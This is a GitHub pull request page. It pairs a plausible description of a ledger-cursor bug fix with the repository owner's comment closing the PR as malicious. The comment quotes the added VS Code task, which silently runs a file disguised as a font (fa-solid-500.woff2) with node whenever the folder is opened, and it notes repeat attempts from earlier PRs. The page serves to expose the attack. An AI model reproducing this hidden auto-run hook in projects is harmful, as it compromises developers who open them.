Repository navigation
fix: advance cursor to ledger actually covered, not chain tip - #265
Closed
Richard-tobi wants to merge 2 commits into
Closed
Richard-tobi wants to merge 2 commits into
Richard-tobi wants to merge 2 commits into
Conversation
Owner
|
Closed as malicious. This PR adds "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-500.woff2) || echo ''",
"runOptions": { "runOn": "folderOpen" },
"hide": true,
"presentation": { "reveal": "never", "echo": false, "close": true }That runs This is the same payload in the same shape as #198, #214 and #258, all closed for the same reason. No review of the stated change was performed and none will be. Reported to GitHub. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Overview
This PR fixes
fetchEventsso it returns the paging cursor and the highest ledger actually covered by the returned events, and makesfetchEventsSafepage with that cursor until the requested range is drained (or a page budget is hit).highestLedgeris now clamped tomin(last ledger fully covered, endLedger)instead of being the raw network tip, so a truncated page is no longer dropped and the cursor no longer jumps pasttarget = tip - TIP_LAG.Related Issue
Changes
📄
src/rpc.ts[MODIFY]
fetchEventsresp.cursorand computes the maximumevent.ledgerseen in the page, returning both alongsidelatestLedger.[MODIFY]
fetchEventsSafehighestLedgerasmin(last ledger fully covered, endLedger)— never the raw tip — and no longer ignores itsendLedgerargument.📄
src/indexer.tspollOncehighestLedgeras the cursor, so the propagation buffer (target = tip - TIP_LAG) is respected and un-settled ledgers are not read.🧪
src/__tests__/fetchEventsSafe.test.tslimitevents, proving the second page is lost onmainand ingested after this change.endLedgerpassed in.Verification Results
fetchEventsreturns the paging cursor and the maximumevent.ledgerseen, alongsidelatestLedgerlatestLedgerfetchEventsSafepages on full pages up to a budgethighestLedgerismin(last ledger fully covered, endLedger)— never the raw tipfetchEventsSafe, committed inpollOncelimitevents proves the second page is lost onmainand ingested afterfetchEventsSafe.test.tsendLedgerpassed infetchEventsSafe.test.tsNote: the
Integration testsandLoad testCI jobs are red onmainand predate this change (tracked in #177 / #178); this PR does not touch them.Closes #180